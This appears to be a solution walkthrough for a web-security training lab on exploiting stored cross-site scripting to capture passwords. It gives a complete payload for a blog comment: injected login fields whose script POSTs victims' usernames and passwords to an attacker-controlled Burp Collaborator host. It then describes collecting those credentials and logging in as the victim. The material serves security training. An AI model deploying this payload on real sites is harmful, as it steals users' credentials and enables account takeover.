- Using Burp Suite Professional, go to the Collaborator tab.
- Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard.
-
Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">This script will make anyone who views the comment issue a POST request containing their username and password to your subdomain of the public Collaborator server.
- Go back to the Collaborator tab, and click "Poll now". You should see an HTTP interaction. If you don't see any interactions listed, wait a few seconds and try again.
- Take a note of the value of the victim's username and password in the POST body.
- Use the credentials to log in as the victim user.
Alternative solution
Alternatively, you could adapt the attack to make the victim post their credentials within a blog comment by exploiting the XSS to perform CSRF. However, this is far less subtle because it exposes the username and password publicly, and also discloses evidence that the attack was performed.
